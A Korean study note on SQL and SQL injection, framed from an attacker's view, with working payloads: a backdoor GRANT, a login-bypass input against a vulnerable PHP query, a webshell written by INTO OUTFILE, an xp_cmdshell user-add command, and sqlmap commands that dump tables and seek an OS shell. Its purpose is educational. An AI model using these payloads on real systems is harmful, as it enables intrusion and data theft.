SQL 및 SQL Injection 정리

마지막 수정일: 2026년 05월 10일

SQL & SQL Injection

※ 절대 허용되지 않은 사이트나 서버에 해킹 및 공격은 범죄이므로 이점 명심해야 한다.


1. SQL (Structured Query Language)이란?

관계형 데이터베이스(RDBMS)의 데이터를 관리하기 위해 설계된 특수 목적의 프로그래밍 언어이다. 해커에게 SQL은 타겟 시스템의 데이터(개인정보, 패스워드 등)를 약탈하거나 시스템을 장악하기 위한 수단이다.

SQL 문법의 3가지 분류 (DDL, DCL, DML)

1) DDL (Data Definition Language) - 데이터 정의어

CREATE TABLE users (id INT, username VARCHAR(50), password VARCHAR(50));
DROP TABLE logs; """ 공격 흔적을 지우거나 시스템을 파괴할 때 사용 (Drop) """
  • 테이블이나 데이터베이스 자체를 생성, 수정, 삭제하는 명령어 (CREATE, ALTER, DROP).

2) DCL (Data Control Language) - 데이터 제어어

GRANT ALL PRIVILEGES ON *.* TO 'hack'@'%'; """ 백도어 계정에 최고 권한 부여 """
  • 데이터베이스에 접근하고 객체들을 사용하도록 권한을 주고 회수하는 명령어 (GRANT, REVOKE).

3) DML (Data Manipulation Language) - 데이터 조작어

/* SELECT (조회) */
SELECT username, password FROM users WHERE role = 'admin';

/* UPDATE (수정) */
UPDATE users SET role = 'admin' WHERE username = 'hacker';

/* INSERT (삽입) */
INSERT INTO board (title, content) VALUES ('Notice', '<script>alert("XSS")</script>');

/* DELETE (삭제) */
DELETE FROM logs WHERE ip_address = '192.168.0.100';
  • 테이블 안의 실제 데이터를 조작하는 명령어 (SELECT, INSERT, UPDATE, DELETE). 해킹 공격(SQL Injection)의 99%는 이 DML, 특히 SELECT 구문을 조작하는 데서 시작된다.

2. SQL Injection 이란?

사용자의 입력값이 ‘순수한 데이터’로 처리되지 않고, 데이터베이스 시스템이 파싱해야 할 명령어(Code)의 일부로 해석되게 만드는 인젝션(주입) 공격이다.

Core of SQL Injection

# 취약한 백엔드 코드
$id = $_POST['id'];
$query = "SELECT * FROM users WHERE id = '" . $id . "'";
  • 해커가 id 값으로 admin' -- 을 입력하면, 완성되는 쿼리는 다음과 같다.
  • SELECT * FROM users WHERE id = 'admin' -- '
  • 해커의 시각: 데이터의 경계선인 싱글 쿼터(')를 강제로 닫아버리고, 뒤에 주석(--)을 붙여 기존 로직을 파괴한다. 이로써 패스워드 검증을 무력화한다.

3. SQL Injection의 유형

1) Error Based SQL Injection (에러 기반)

2) Blind SQL Injection (블라인드 기반)

화면에 에러 메시지나 데이터가 전혀 출력되지 않을 때 사용하는 스무고개 방식의 공격이다.


4. SQL Injection의 파급력

SQLi는 웹 취약점 중에서도 가장 치명적인 CVSS 10.0(Critical) 급의 파급력을 가진다.

  1. Authentication Bypass (인증 우회): 관리자 비밀번호를 몰라도 admin 계정으로 로그인한다.
  2. Data Exfiltration (데이터 탈취): 기업의 핵심 DB(주민번호, 신용카드, 기밀문서)를 통째로 빼낸다.
  3. Data Tampering (데이터 변조/파괴): 결제 금액을 조작하거나, 경쟁사의 데이터를 모두 DROP 시켜버린다.
  4. Remote Code Execution (RCE, 원격 명령 실행): DB 권한을 통해 서버 OS에 접근한다.
    • 웹셸(Webshell) 업로드: UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php' --
    • 운영체제 명령어 실행 (MSSQL): EXEC xp_cmdshell 'net user hacker password /add';

5. SQL map 이란?

Automated Exploit Tool (sqlmap)

# SQLMAP 예시

# 1. 취약점 확인 및 DB 목록(dbs) 추출
sqlmap -u "http://target.com/view.php?id=1" --dbs

# 2. 특정 DB의 테이블(tables) 목록 추출
sqlmap -u "http://target.com/view.php?id=1" -D "target_db" --tables

# 3. 특정 테이블의 컬럼과 데이터 통째로 덤프(dump)
sqlmap -u "http://target.com/view.php?id=1" -D "target_db" -T "users" --dump

# 4. OS 쉘 획득 시도
sqlmap -u "http://target.com/view.php?id=1" --os-shell